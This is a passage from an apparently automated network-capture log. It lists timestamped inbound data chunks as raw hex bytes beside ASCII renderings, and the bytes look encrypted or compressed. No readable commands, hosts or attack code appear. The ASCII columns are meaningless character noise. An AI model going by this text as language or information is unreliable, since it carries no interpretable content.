1e 55 94 d3 98 16 4d 85 e2 ce 61 1c 53 1c 77 7c Data Ascii: >/F(9{T#P<e#r[S5zCvLc/3_G,U=6/?\&JQClF+]ZLnGxrQOWt+y@B):l.~r@LDjc"1XmvRAckd.#m^\|OUMaSw\|
2022-05-25 14:26:44 UTC	37	IN	Data Raw: 46 95 b9 e6 f7 bf f0 74 5b a0 7f 3e 43 db 7b 87 a5 02 b1 f6 f6 01 0e 3e b8 d5 8f 44 75 c7 73 fd a4 1d 62 14 5b 8c 7c 4d ef 2f f7 b0 34 51 4a 04 81 38 a8 c9 6f 8e 7c 98 7a ce 64 32 53 55 cc 31 55 a7 2b 51 53 a6 62 1d 9d 11 37 ba d8 b4 b1 bc e9 2a 4f dd 68 92 77 e5 de 97 7d 02 1e 95 46 58 7e 66 7a 1c 2f 8d f9 6e 3b 43 15 c7 f6 9c 82 5f e4 9c bf 52 14 ca 44 cd 0f 00 7d 6d 96 2a 63 13 e1 f9 63 b3 44 59 62 ab 94 12 5e 92 a8 95 c4 5b f2 2b 4a 69 4a 40 11 ae 4f e3 88 8c ff 89 67 24 e6 be d1 2e 3a a4 72 ca 25 ea 00 9c 37 5a ba d9 40 b3 b1 8a fd 9e fe 29 36 2f 20 ee 51 f1 b3 1f d9 39 eb 42 f6 da fd 47 34 b5 54 c9 12 f9 51 c2 7b e5 92 8c e4 97 33 9e d2 89 7e 22 66 19 7d 45 b7 37 50 51 ed 88 13 26 8b b8 6d 45 e5 08 6a b8 0a 18 a9 3f a5 60 2f 8c 73 57 6f c1 cb fd b7 Data Ascii: Ft[>C{>Dusb[\|M/4QJ8o\|zd2SU1U+QSb7Ohw}FX~fz/n;C_RD}mccDYb^[+JiJ@Og$.:r%7Z@)6/ Q9BG4TQ{3~"f}E7PQ&mEj?`/sWo
2022-05-25 14:26:44 UTC	38	IN	Data Raw: e2 6b 70 ea 13 15 64 8c f0 48 39 5f 29 80 0a 65 ee 7f c8 25 71 56 be ee 7c 97 19 22 2e 40 2e 65 4b ce 8e c2 7b 54 55 61 56 9c bf 10 5b db d9 df ea 84 79 de 1a d9 01 be b6 28 9e f9 2a 3c 8e 2b 28 11 46 17 77 56 9e 76 47 5c 19 df 70 2e 00 15 43 0c b4 17 92 c3 26 0a 45 32 63 1e 92 de 05 ad 17 d2 f6 d3 28 e6 64 d9 81 ed f1 63 fc 08 ae 80 7f b2 27 6f 64 99 d8 28 35 f1 22 6c 16 ff 52 ba 9e f9 f3 05 a3 94 0c b8 15 fe be be ac 24 58 15 c1 38 df 1b 28 8c 5e f3 f9 77 09 99 6d 34 41 f5 a6 12 67 7a 74 5f 31 5b 4b 9a 57 33 a1 fd 1f 5a 4e 66 95 b9 46 f7 a5 de 03 50 85 5b 38 69 a6 79 87 d8 a6 9a 0e f2 10 1e f9 b1 da 8f 39 d4 57 73 f9 b7 3f 39 10 76 8b 27 94 4c 2f f3 b6 6d 36 61 f3 8b 13 ca c0 6f 8b 01 22 7a ce 60 30 44 2a 66 2a 78 a0 0f 5f b4 da c1 17 97 07 1c bc ce ef Data Ascii: kpdH9_)e%qV\|".@.eK{TUaV[y(<+(FwVvG\p.C&E2c(dc'od(5"lR$X8(^wm4Agzt_1[KW3ZNfFP[8iy9Ws?9v'L/m6ao"z`0Df*x_
2022-05-25 14:26:44 UTC	40	IN	Data Raw: d9 91 0d 30 af e1 c2 62 b7 50 67 e5 66 87 c6 7e 9e 8f 8e 0f 46 23 09 e2 ef 84 dc 1b dd eb 54 aa b2 95 e7 ed 9d db c8 a4 37 5a ef 59 5c 2d c6 99 8c b2 fd 9b 18 ea 44 57 82 95 a0 ea 92 21 6e cb c9 45 fe 97 87 f7 1c ff ff 59 eb dd 4a 6e 3e aa 67 10 34 dd 18 5e 59 c8 d6 16 81 39 ff 84 36 51 f7 ae f3 d1 bf b2 cb 6b 99 3c 55 20 bf 24 1a 57 7f ef f2 dc 3d 79 56 21 b1 84 30 51 fe a5 63 2d 33 f3 d4 3c 70 0e 35 28 87 d0 3e 3b 62 d9 cd 01 0e 1e 97 ef 91 e0 0e ea d9 78 0f 4c af b6 18 8c da 06 50 17 ac ff dc 56 21 4d 6a 42 cc 9a de e6 8a 91 ba 75 c1 e1 7a ab bd f3 42 35 77 28 80 06 63 c2 79 e1 39 1b d6 b9 c8 03 1c d2 20 28 11 a9 4e bc ca e2 69 73 54 74 4a 5a 9e bd 6b f9 db da fb 8d 53 79 de 33 cb 5a 46 86 f8 84 d3 ae 8c 8e 2d 5f 0a 9b 16 7d 26 b1 67 58 73 61 54 56 04 Data Ascii: 0bPgf~F#T7ZY\-DW!nEYJn>g4^Y96Qk<U $W=yV!0Qc-3<p5(>;bxLPV!MjBuzB5w(cy9 (NisTtJZkSy3ZF-_}&gXsaTV
2022-05-25 14:26:44 UTC	41	IN	Data Raw: 5c 6a a5 71 27 8a 45 57 6f c1 f0 5d cb 99 dc 03 b3 3a 88 55 39 05 ea ef 40 a4 8c db 81 76 09 39 f4 e1 93 dd b7 15 9e 99 1a ff f0 1d 68 ef 47 f6 da 1f d6 15 9b 82 bf bd 27 0d 50 ac 65 b0 33 62 cd 67 6c 8b 4f 2c d0 d8 db f9 e6 ce 51 ef 56 b4 12 c8 c7 bc 52 70 8f 7c 46 2e f0 01 1b c4 08 fd 81 93 47 a7 1e 96 be ff e8 4d cc 78 28 ee e0 cb 0a 7c 57 5c a3 72 c1 c2 e8 a9 ae bc c7 b3 45 4c 4f 64 49 41 9d 26 74 b7 59 83 ad 52 e0 cc 44 f0 8b 03 6f e1 46 b0 94 ca 77 eb 89 52 63 dc b6 3b 83 62 20 bb 88 17 c8 84 13 8f 69 1d 07 ef 1e dd 90 e1 87 15 12 f9 5a c8 49 41 79 c1 59 81 86 c2 67 9c 9b 8e 7a 70 1c 0c e0 ec 80 b0 df da b3 57 c7 14 90 88 71 a4 c5 cf 7a 74 57 fc 58 4a 27 b4 a4 3b 80 38 e2 59 33 95 49 a0 70 8d d2 b2 51 1e c9 b2 f9 84 b2 ab b9 67 4c f5 52 ed a1 f9 30 Data Ascii: \jq'EWo]:U9@v9hG'Pe3bglO,QVRp\|F.GMx(\|W\rELOdIA&tYRDoFwRc;b iZIAyYgzpWqztWXJ';8Y3IpQgLR0
2022-05-25 14:26:44 UTC	42	IN	Data Raw: e5 29 79 94 8f 90 16 97 09 4e 07 ce fc b3 cd ab 45 1a df 7b 9d 08 5e db f8 df 29 63 0f 55 5c 6b 49 95 b1 b3 8d f3 44 57 d0 79 5d 99 63 86 74 77 b7 82 53 21 b2 84 28 0f 04 ad ac 96 2a 70 39 8f b8 63 b9 66 a9 74 be a4 d2 1d 92 a8 b1 93 1a d2 d4 b7 7a 4f 54 39 1e 20 45 89 aa df 98 43 35 e2 60 01 31 00 1f 5c c2 23 dd 22 f1 e8 5a ba 73 52 cb 6a 4a fd 9a f8 77 3f 26 20 e4 04 9e b3 1f d7 17 7b 04 86 da fc 3a 9c 9f 54 cd 03 ba 16 c2 32 ef ba de 7b 97 39 f2 6b a4 7c 2e 4e 08 01 16 a2 75 54 53 c7 57 13 31 96 9f 5a 63 3d 0c 23 af 87 a4 c6 6a a4 75 08 ee ff 5e 79 c6 a6 dc ca 99 d6 17 e0 71 89 55 37 a2 23 f7 6d aa a8 86 32 5c 74 83 7a 56 95 8d d0 18 b5 42 3e 45 f4 44 44 2d ab f6 d0 06 e8 10 bf 81 8b bf 5c b9 f0 ac 61 a3 47 d2 b6 a5 68 8d 63 65 ff de af 2b e5 b5 ea c5 Data Ascii: )yNE{^)cU\kIDWy]ctwS!(*p9cftzOT9 EC5`1\#"ZsRjJw?& {:T2{9k\|.NuTSW1Zc=#ju^yqU7#m2\tzVB>EDD-\aGhce+
2022-05-25 14:26:44 UTC	44	IN	Data Raw: 37 fd d6 6c 4c 35 3a e5 d2 26 37 8d 7f a6 4c 70 4a d4 4f 7e 29 5f 87 1f b4 f1 51 2d 7d c7 dc 68 e4 da 83 29 e4 61 30 eb d0 36 fb 1d 51 dd c1 dc e9 cd 63 f1 d4 63 b0 87 3c 93 86 bb d2 3d 95 c7 b9 36 c0 22 8a 13 8d 2a ac 10 1e eb 9d b2 6a 7d 9b 6a 43 f4 a6 f3 e4 c8 27 e3 c1 c4 bb 71 46 b2 20 aa fb 94 a3 36 b1 99 cb 92 91 b0 8c 3a c3 49 71 ca 4c 22 08 68 68 e7 a0 c9 c2 bd 5f 2f 3e 7f dd 16 32 d2 b7 b5 35 d5 f4 d6 c0 86 77 ac ba 2b c8 f0 55 5b 97 67 63 b3 5c c5 6c 0f 83 a2 0e 1c ba 51 79 96 4f bb 98 35 2a 36 27 63 ed 60 ca 3f ab 81 b2 6d d1 18 c1 0c 69 59 65 3d 9c 01 50 d8 fc 1e 9a 96 21 93 2a 35 bc d8 c6 8b 56 be f1 79 06 2f 66 16 ed c2 46 c9 63 9b cf 80 03 bb db 19 15 3e 3c e8 af 8a 33 f2 44 46 77 08 04 9c 62 52 80 18 f2 66 ba 6a f2 db 7d 8c 0c df 9c b2 80 Data Ascii: 7lL5:&7LpJO~)_Q-}h)a06Qcc<=6"j}jC'qF 6:IqL"hh_/>25w+U[gc\lQyO56'c`?miYe=P!*5Vy/fFc><3DFwbRfj}
2022-05-25 14:26:44 UTC	45	IN	Data Raw: d9 1b f7 23 13 35 93 0b 3f 13 48 cc 7d fa e4 cb b6 e0 05 7f cb 8b 87 6b b2 d4 25 c9 0e 8c 64 a9 ff 88 47 f0 7c ac 54 f5 30 86 0d cc a1 c9 06 2d 0f 8d ec cf 8a 99 ab c1 94 0d 71 b5 01 f0 f3 cb 05 61 a1 1b 73 bc 58 5e 37 f8 84 c4 27 ea 89 85 8c e9 91 80 9c fa f3 c1 62 47 5d a0 eb b1 5c 9f c2 34 17 88 70 e0 51 47 a0 5a 2d dd fe 0b 44 1f d5 36 06 8b 54 b6 78 ab a9 2b 19 6c 95 b1 50 75 06 5a aa 6f ec 21 0f bc 21 6f 53 9d 89 61 c8 9a 36 f1 dd f4 a8 e3 1e 1d 4f 75 dc ee 0e a1 f3 62 27 8a 32 61 96 8f d3 a4 a8 98 d6 13 c2 99 4b f3 2b 67 6b ed 5f 9c 1f 0d 39 eb c6 58 13 bb de 21 86 96 ba 9d 2f 5f e2 02 d8 69 56 6f f3 6e a7 a2 66 be 5a b5 36 b3 77 37 d4 33 6b f9 71 67 37 08 ba ac be e3 6b 2d f8 8c cc b1 18 27 d3 65 2e 48 21 34 23 0a 7f 8a 61 61 6f 06 86 03 a4 82 e4 Data Ascii: #5?H}k%dG\|T0-qasX^7'bG]\4pQGZ-D6Tx+lPuZo!!oSa6Oub'2aK+gk_9X!/_iVonfZ6w73kqg7k-'e.H!4#aao
2022-05-25 14:26:44 UTC	46	IN	Data Raw: c7 75 cc d8 d1 67 57 48 94 b6 67 39 2c 62 15 79 d1 61 32 89 d7 fd a1 e8 13 2c 88 6f 87 cc ea 17 3e d9 13 fd 5e 8a bb 96 22 c6 b1 7a 4d 4a 83 4f e8 10 d3 0c 65 6c 3b 4d c9 8c 92 8e f2 28 e1 c7 e6 2d 98 0f 12 8c 55 4e 6a d1 d7 6a 02 71 57 89 a0 d2 65 7c 55 32 04 5c 41 b5 59 c0 b9 2f 55 1f 76 34 55 c0 59 2a d5 b3 2a 2d a0 df 16 f3 70 93 75 24 0c 96 ef 8f 89 42 91 ff aa 23 fb 41 a0 a3 27 f5 19 b9 0c 8d ae eb 5c d2 75 57 2e e4 14 8c bf 71 97 d4 26 cd 7e cc 99 12 47 a2 46 b2 d7 fb 74 46 24 d3 9b 94 71 fe 0c 81 4d 36 d4 ed b9 02 80 15 03 63 0b 09 ac ee a1 da e2 ba aa 08 02 96 85 2f e6 98 8b f4 fb e8 4e 9c 5a d9 71 95 a2 08 a0 b9 24 4b 3e bb e5 79 f2 a2 a5 77 13 ff d4 a0 8e c9 b2 63 9e 45 d3 8f b7 f1 65 e1 fd d2 bb 80 72 d0 18 12 f5 4d 1f 70 03 24 df aa bc fc c7 Data Ascii: ugWHg9,bya2,o>^"zMJOel;M(-UNjjqWe\|U2\AY/Uv4UY**-pu$B#A'\uW.q&~GFtF$qM6c/NZq$K>ywcEerMp$
2022-05-25 14:26:44 UTC	48	IN	Data Raw: 63 b3 4e 59 75 be ae af 5e 92 a8 b7 e2 59 d2 ce b5 69 4a 53 28 1b 4f c2 88 aa d9 98 47 24 e6 1f d1 30 00 13 72 ca 25 ce 26 9e 17 46 ba 79 40 cb 11 8a fd 9c fc 09 f2 24 20 ee 2c 50 b3 0e dd 3a cb 02 e9 da fd 30 96 47 54 c4 11 80 10 f1 7a e6 bb d4 e4 af 38 a7 69 83 7e 4d 65 5e 01 e2 b7 4a 55 17 c4 4f 12 a1 80 f6 7e 4f 1b 8d 23 fc 0b 13 c6 c1 a4 24 24 fb d9 e6 6e 7f c8 e0 ca 41 dd 2f c8 88 88 a5 3c 12 2a e9 40 af 8c b4 37 70 09 19 78 42 93 b0 06 25 9c d8 41 ec f4 0a 42 5f 44 e0 d0 69 f9 79 bf 97 bb c4 5e e0 52 ba 61 38 4a 4a cf 71 68 3e 65 eb d3 ce d1 38 e6 2c e2 f9 56 66 16 09 dc 87 45 bf ab e7 3f 89 f0 f6 1d 83 71 5f 81 80 40 6c ab a3 e4 e3 e1 1e e7 b7 55 1e e3 92 0e 51 b3 15 db bc c1 c4 ec e3 80 e3 e1 bc 69 27 67 3e 44 6c 65 50 75 ec 22 31 ad df e7 fa e9 Data Ascii: cNYu^YiJS(OG$0r%&Fy@$ ,P:0GTz8i~Me^JUO~O#$$nA/<*@7pxB%AB_Diy^Ra8JJqh>e8,VfE?q_@lUQi'g>DlePu"1
2022-05-25 14:26:44 UTC	49	IN	Data Raw: f6 23 8d be 74 18 15 fe fa 9a 54 24 82 24 c5 38 da 1b 2d 8d 52 f3 a5 69 0b 8e b2 19 4f d3 ce b0 67 7b 70 75 6f 7f bc 9a 9d 02 a1 fd 0a 5a 4f 67 95 b9 ee f8 a7 dd df 7c 8d 7d 3f 43 5b da 97 d8 66 be f6 f2 ca 2f f4 b1 f6 8f 38 d5 c7 73 f1 b6 3d 22 c2 5a 82 01 cb ef 2e f2 b2 47 34 5a 04 8b 9d fb c6 6f ac 01 23 7b ce 60 64 54 28 65 f8 54 ac 29 55 9e a6 63 17 97 73 27 44 ce 35 b0 aa e8 68 1a dc 69 98 0a c3 ce 97 79 e1 62 12 46 60 7a 4d ea 71 b2 31 e9 6a 10 1f 69 45 f6 dc 86 7d 7c 9c bf ad 34 c9 44 21 0c 1e 7d ae 96 2a 73 11 c9 b0 72 b3 4e 92 74 9d ae ea 5e 93 a9 b3 e2 61 c3 d4 b5 a0 4b 75 28 53 4f e1 89 aa d9 df 56 24 e6 93 d0 18 00 47 72 cb 24 cc 26 1a 06 5a ba b0 41 e6 11 dc fd 9a fd 19 f2 92 31 ee 2c 99 b2 35 dd 66 cb 02 e8 da fd ea 87 b5 54 04 11 c5 10 06 Data Ascii: #tT$$8-RiOg{puoZOg\|}?C[f/8s="Z.G4Zo#{`dT(eT)Ucs'D5hiybF`zMq1jiE}\|4D!}*srNt^aKu(SOV$Gr$&ZA1,5fT
2022-05-25 14:26:44 UTC	50	IN	Data Raw: d4 5d 45 bc 37 3e 96 43 13 26 7f bc 14 ad 3b 33 83 d5 a1 1b 1d 6f a3 c3 0f 41 9d 26 0f ee 00 3a 66 32 c1 35 dd 3b 1d 45 10 f4 cc f7 83 4e 8d e4 6b fd 98 40 16 71 bc 56 11 9d 5c 2f 80 c7 3c 45 6d cc 3e bb 22 12 cb 01 37 e0 7b 81 69 19 4e 95 ae 64 f1 73 54 a7 02 d1 9d be 10 5e bf 5d fe e4 c8 bd ba f2 c9 30 eb f3 9d 94 d5 c4 3c 2b 48 42 61 57 17 a8 49 93 74 4b 71 1f 9f 48 00 6c b5 76 6a 37 3d 7b c3 50 5c 49 33 7d 1e 07 b8 8e ac 06 c3 31 a8 b4 ca 72 ff 0f 2a d0 67 f9 22 b9 c3 bc b6 25 5f 0c f1 d8 29 33 f7 53 06 91 fe 51 b9 f1 bf a0 27 84 be d8 73 92 ff bc 95 65 48 cc 24 c4 38 b1 77 ec 8c 54 f3 5c 09 cf 8e 7d 18 87 bc 19 b0 76 7a ad 1a 61 74 ad 9a ad 6c de f9 01 5a 5b 16 e3 bd 47 f7 ce ac a6 7c 80 7d 33 31 1c db 96 d8 3f c3 79 f3 12 2e 43 c3 70 8b 28 d4 12 01 Data Ascii: ]E7>C&;3oA&:f25;ENk@qV\/<Em>"7{iNdsT^]0<+HBaWItKqHlvj7={P\I3}1r*g"%_)3SQ'seH$8wT\}vzatlZ[G\|}31?y.Cp(
2022-05-25 14:26:44 UTC	52	IN	Data Raw: 44 6a 65 2f 10 be b3 16 49 52 f1 a3 4d da 8b 05 6d f7 3a 96 15 cd b5 e9 e0 e6 db f7 b2 2d ab 64 46 b0 11 34 5a 35 06 8f 6d 1f 7c 4f 1d dd 92 cb 7a 24 fb 84 f7 c8 49 45 52 1c 72 66 c1 c1 93 bb 6a 8a 34 4c 32 0d e0 ec 81 b3 9d df 6d 70 56 b4 8b 88 77 9c db ce 79 74 14 fb c1 72 20 ce 0c 3b 4c 17 bb 71 da 94 4f b2 99 ba 8d 94 4e 1a 23 e2 4f 84 b2 af bd 04 0c ef 4d e8 ba d1 76 12 ae 74 15 25 de 34 3c 6c c8 d5 0f ee a1 d2 84 30 53 98 0b f2 66 9d 9f ab 74 99 a6 a7 20 95 25 0a 51 7f ec d7 bb 3d 37 38 e5 b4 c2 30 51 ff b8 53 1b 16 6d d5 1c 70 9c 18 28 96 d2 26 2a 7e 31 31 2d 0f 36 81 83 8c c6 28 e8 a2 d3 0f ab 8e a4 0f dc 00 7b 7d 1d c3 24 dd 50 2b 50 37 f7 cd be da 5d a3 e2 6b 74 c1 ed 15 20 9a c1 49 13 5f d1 ad 06 65 ee 6e cc 3e cd 5d de c8 20 37 35 0c 2a 6a 08 Data Ascii: Dje/IRMm:-dF4Z5m\|Oz$IERrfj4L2mpVwytr ;LqON#OMvt%4<l0Sft %Q=780QSmp(&~11-6({}$P+P7]kt I_en>] 75j
2022-05-25 14:26:44 UTC	53	IN	Data Raw: 02 5d 95 fd 3a 96 b5 42 cd e9 b5 54 c2 24 ef 62 91 e4 97 39 e3 7e 89 57 66 20 1a 5f e8 5f 78 54 53 c5 45 04 26 d8 f2 3b 45 44 1e de f7 0a 19 c6 6a b4 60 ac b1 9d 57 30 c5 8d ba ca 99 dc 01 de 82 2d 15 79 3c 75 ef 34 f4 8e a0 35 76 1f 3d af 16 d5 a6 59 15 36 cd 43 fa f4 44 51 06 43 b7 ab 04 a4 20 e5 d0 bb bf 5c b9 41 ac e8 f3 ca d1 af 67 98 dc 67 72 d1 d8 c0 fb 15 f4 62 ed 32 b0 9c c2 de 91 45 56 b8 7e 64 dd 78 03 79 c6 cf 1b 81 93 43 29 b8 a5 25 96 72 45 8f b1 39 0c e0 cb 0e 57 a2 5e d5 a6 85 c2 85 be 9b ee e1 ba 69 5e 75 67 6d 29 21 2f 1f b5 fe 63 ad 52 e4 a3 f8 f1 d2 46 29 f7 35 9d 0a b9 51 e9 f5 e6 72 dc 3b 6e ef 64 49 bb e7 43 b3 35 13 8f 7c 1f c5 0c 22 df fd d3 45 68 15 84 e2 c8 58 45 bb 5f e4 64 ee c2 99 cc 9e 8a 23 4c 23 0d b1 a8 1f b1 b0 dc ff 05 Data Ascii: ]:BT$b9~Wf __xTSE&;EDj`W0-y<u45v=Y6CDQC \Aggrb2EV~dxyC)%rE9W^i^ugm)!/cRF)5Qr;ndIC5\|"EhXE_d#L#
2022-05-25 14:26:44 UTC	54	IN	Data Raw: d6 f6 06 03 42 89 b1 d5 87 39 47 c7 46 98 5f 3e d6 0b bb ff 01 ef ef 2f 75 aa b4 0a 2d 04 7f 10 06 ba 6f 84 09 22 e9 ce 55 51 bd 2b 91 31 3d d7 29 79 9e a7 e4 0f 64 19 50 44 3a fc 35 c8 e8 45 12 dd fb 98 6f 2e 27 94 8d 28 87 7d 46 58 7a 4d 78 61 27 ec 04 69 e4 d6 7c 2c f6 9c 86 74 ee 9c 9a 23 d9 ca b2 28 5b 75 7d ef 96 2a e1 11 7c da 9e b0 b6 5b e5 cb ae ab 5e 92 2e ab 11 43 b5 d4 4f 69 e6 23 28 1b 47 e3 1b aa 9c e8 be 27 1c 1e 39 45 00 15 72 ca a3 d4 d5 84 70 5a 40 79 44 b8 11 8a f5 9a 6f 09 87 45 d9 ed d6 50 e7 69 dd 3b cb 02 6f c2 0e 20 f1 b5 ae cd 60 fc 10 c2 73 ef 29 de 41 f4 c0 e0 92 89 8e 50 64 1a 00 e8 34 2f a7 49 a2 45 e8 26 9d c5 7f 45 13 1e a1 b8 3f 7d c5 6e 5f 60 41 89 d9 57 67 c5 4a ea af fd db 05 32 82 0c 2c 3d 3c 2a ef 46 bc 7d ba eb 76 f2 Data Ascii: B9GF_>/u-o"UQ+1=)ydPD:5Eo.'(}FXzMxa'i\|,t#([u}\|[^.COi#(G'9ErpZ@yDoEPi;o `s)APd4/IE&E?}n_`AWgJ2,=<F}v
2022-05-25 14:26:44 UTC	58	IN	Data Raw: c2 a3 e9 f0 8b dc 3d f7 5c 9c 8a c9 00 e9 f5 e7 63 a1 e3 2d ab 65 20 0a f2 15 b3 34 13 f2 3c 1f 7c 4e 1e fc c6 d3 89 3f 15 0d b0 c8 49 47 52 b9 23 66 87 c1 6d 5b cc 8a 23 4d 32 f4 b2 ec 82 b2 db ed b8 52 a8 b6 91 c5 24 9c db cd 7a 1d 01 f8 01 51 25 7a 44 3b 80 3e bb a0 89 94 49 a9 6a 4d b9 94 52 1b cb f0 1b 84 b2 ad bb 49 ab f5 52 ea a6 a0 3a 3e ae 70 15 a8 8c 34 57 49 cd 0d 45 ee f5 fc 84 c5 07 98 0d f1 d1 9c cf aa 6b 9d 36 ca 75 95 25 0f 57 22 ba f2 dc 3c 17 8d 72 98 c2 32 51 56 eb 53 28 30 4a 0d 69 70 98 34 28 87 84 26 2c 7c aa 39 56 0e 14 82 c3 e8 90 28 e8 a6 d5 6a 1a ab a1 0b ff 81 51 50 1d c2 24 10 00 2b 4f 13 f2 25 cc da e5 8d e2 6e 23 c1 eb 11 77 9d a4 48 36 5a 29 bd 51 65 ee 68 ca 67 31 7b b9 c9 07 a6 4e 22 2a 6b 08 87 eb ce 8d f0 72 b1 25 61 56 Data Ascii: =\c-e 4<\|N?IGR#fm[#M2R$zQ%zD;>IjMRIR:>p4WIEk6u%W"<r2QVS(0Jip4(&,\|9V(jQP$+O%n#wH6Z)Qehg1{N"*kr%aV
2022-05-25 14:26:44 UTC	63	IN	Data Raw: d3 f1 cb d7 ad 8e 22 1d 7b 62 d0 a3 e6 78 39 c4 05 63 3d 98 01 b2 fc ed 91 58 2e d7 96 bd c7 f5 cd 6c 0e 6e 07 7f 6a f2 9d df 06 da dc 00 ea e1 82 2c 73 00 f5 9c b8 d6 53 c2 dd b5 bc 20 94 ea a1 07 16 ee dc e9 9a 54 e1 4b f7 91 3e e9 d0 69 77 1b 27 7b 2f 62 9a f5 2b 61 d0 57 64 83 7a 9a fb 62 43 3c 64 37 c5 cc 44 1b db e8 9c 1f 6a d9 c3 19 5e da 50 c8 4a 70 10 42 8d cb ed eb b8 b7 10 e5 03 03 1f 68 a7 5e ec 95 ad 78 7b 0e 38 37 a5 44 f0 a6 3a 77 83 96 b7 db 8d c9 d4 63 24 e4 6b 7a a7 a8 58 44 bc bb fa e2 aa c8 b3 b5 90 4f a5 32 d7 5d 92 8d 59 c3 13 46 55 e3 f6 cd 96 00 34 77 39 3f 76 35 3f 13 a9 a0 bd 53 17 15 7f 4c 4f ef d8 f6 2c 92 35 3f e9 b7 ec c7 ce d8 ab ed ce 4f a6 96 1c 50 e8 a2 76 03 13 7f 1c a0 22 f7 4e 3d 10 72 8a 6a ef 60 0e b2 74 b7 fe 50 76 Data Ascii: "{bx9c=X.lnj,sS TK>iw'{/b+aWdzbC<d7Dj^PJpBh^x{87D:wc$kzXDO2]YFU4w9?v5?SLO,5?OPv"N=rj`tPv
2022-05-25 14:26:44 UTC	64	IN	Data Raw: 19 42 ba 11 19 94 6d c5 62 36 f1 90 50 ef c7 d2 ea 98 9e 5c 03 db 82 c1 52 9d 3e 39 ef 09 a3 2e a2 2e 76 5b 3a d9 54 82 a7 4f 12 5e 9f 50 fa bd 43 80 04 5d f6 82 01 38 22 ae 80 f2 b8 bc bb 43 ac 28 b5 a8 d1 d6 67 3a 8a 67 71 c2 d8 98 fc e7 b6 f3 ee 1f b7 34 93 cd 91 0c 51 6a 7a 06 9e a7 09 1c c3 60 48 c8 94 00 2c ea a4 85 dc a1 42 4c b1 1c 58 63 ce 15 56 d1 59 5b e0 da c2 be b9 07 bf ba ba 20 59 87 62 57 6b 2c 28 75 b3 31 36 e4 55 c7 a5 f2 f1 d9 02 4e f1 47 9c e8 eb 12 ef e6 e7 2a db 31 2b b8 65 69 bc 63 02 10 35 5a 88 ad 08 d7 4f 57 da 74 c4 22 3e 5c 83 e2 d0 e2 45 1b 1b 71 7e 24 c2 24 9d be 92 88 4c 7b 0a a0 f4 29 b3 92 db ab 4a 0b b4 d8 8f 17 84 70 ce 33 73 d2 d2 1a 50 77 c8 97 11 93 3c f2 76 da a1 ea aa 23 a7 ea a1 f9 1a 82 ce 6f b1 19 af f2 1b 9f c3 Data Ascii: Bmb6P\R>9..v[:TO^PC]8"C(g:gq4Qjz`H,BLXcVY[ YbWk,(u16UNG*1+eic5ZOWt">\Eq~$$L{)Jp3sPw<v#o
2022-05-25 14:26:44 UTC	68	IN	Data Raw: 7b 36 df 96 48 75 30 44 ed 69 0b af 0d a6 3e 25 14 d7 bc 75 58 75 64 46 0b 6f 3d bc 8a e4 81 11 26 17 15 3f f3 d1 71 29 a2 9b 9c 8e c8 3f bb 5b ac 53 82 e5 b9 e3 b4 d5 7b eb 43 3e 17 2f 74 2e 49 ff 00 28 18 6e 80 12 61 0e d6 31 65 c0 48 05 b1 35 68 27 45 2d 7d fe de 5b cc 60 90 91 ad 46 b9 0a 8b 83 08 94 10 9b 50 e1 db fc dd 56 5f 29 dc 84 28 66 88 51 18 73 92 7e ea ed b6 85 51 ec ca 08 37 56 8c c3 e5 20 4b 2c 57 a3 48 b8 62 28 c8 17 a0 ba 14 72 fe 0f 77 15 b6 af c6 0e 19 15 25 65 1f ca f3 30 66 da fd 58 3b 3d 0e d4 d5 21 98 d5 b4 62 15 eb 7d 57 00 a9 a2 f7 ac cd e5 84 93 6d 5d 9c de a7 e2 39 99 83 46 ba d4 44 52 7f 34 df 64 9d 99 46 90 d7 17 62 25 72 e2 74 9f bb 6f d6 67 41 48 f6 59 08 00 4d 17 58 23 c6 6b 00 ea c2 11 17 c5 6a 5d 2a aa 9d d4 d0 a5 24 74 Data Ascii: {6Hu0Di>%uXudFo=&?q)?[S{C>/t.I(na1eH5h'E-}[`FPV_)(fQs~Q7V K,WHb(rw%e0fX;=!b}Wm]9FDR4dFb%rtogAHYMX#kj]*$t
2022-05-25 14:26:44 UTC	72	IN	Data Raw: ab 59 a7 57 d4 da de 07 e7 d7 2e a4 77 bb 34 f0 38 98 f6 b2 91 d2 73 97 5d fc 2e 52 14 7d 71 b8 cf 02 2d 0c f7 16 36 61 ee e2 18 0f 4b 2d 14 f6 32 7b 92 2f 98 60 06 cc a8 61 5f 90 aa 9c 80 e3 a6 66 a9 ed ba 07 4b 63 59 9b 16 97 fc f1 5d 1e 71 7e 1e 3b a8 93 4a 24 d9 ff 7b c9 99 0f 07 4e 77 a0 a8 57 c6 20 9e bc ca ee 65 de 35 da 32 85 2a e7 a2 33 1b e9 1f 06 87 eb e7 98 d7 91 a1 d2 6b b0 37 ad af e8 26 66 f0 2f 6d d1 81 56 68 9c 3b 22 e6 dd 07 7f 91 c9 9d 9d b3 21 80 fc 3e 1a 82 8c 54 23 ca 1a ab a9 bb aa b5 d3 c5 ca d9 cd 54 5e 47 5a 35 3e 3f 68 17 c7 72 64 9e 65 a0 d4 da ab b8 4c 1d 90 03 dc cc 99 36 d4 c8 e6 40 e1 c3 7c e7 15 78 d7 ca 59 e0 11 66 e5 01 2e 4c 77 5a 9a c2 e4 ad 44 63 bd 88 a7 71 12 2b 45 03 51 e8 ba 2f d0 e8 cb 44 36 5e 61 99 87 bf b3 f8 Data Ascii: YW.w48s].R}q-6aK-2{/`a_fKcY]q~;J${NwW e52*3k7&f/mVh;"!>T#T^GZ5>?hrdeL6@\|xYf.LwZDcq+EQ/D6^a
2022-05-25 14:26:44 UTC	76	IN	Data Raw: b5 1f 5b 14 93 5a 53 5f 45 bc fe a1 e5 15 99 f7 af 43 7b f8 fe 3e 9a 58 4e 3b 7f b4 70 b2 38 1f 0e 42 ad 9b db e7 d8 8e c1 56 05 94 af 44 14 c8 ab 3b 51 28 1a e5 41 1d 9f 0d 93 7f 1e 2b 81 85 56 0a 24 22 09 57 79 25 de 83 da c1 24 3d 24 53 11 a8 c7 7b 11 8e ee b4 b1 fc 20 87 60 be 6a 91 c5 dc ef 9f b8 54 e4 77 6f 5c 0a 2e 1e 14 de 07 15 3c 27 f9 75 39 0c e4 11 3e e2 0e 5d 80 41 6e 31 7e 3f 6b dc 9d 3c 99 48 89 ad ff 54 f6 5e ff d9 71 80 16 aa 7a e9 fe ac fd 6c 33 3f ea 88 10 0c 9a 43 0f 72 96 05 f4 d9 e8 cd 23 a6 83 00 5d 26 96 d5 c1 12 41 09 6f 96 1c 83 6d 70 d3 34 a2 91 39 6a c7 0c 25 7b d3 fe 8d 16 2f 1f 18 6d 37 f8 cb 00 59 f1 ca 7a 1b 1d 01 d7 d4 11 c4 92 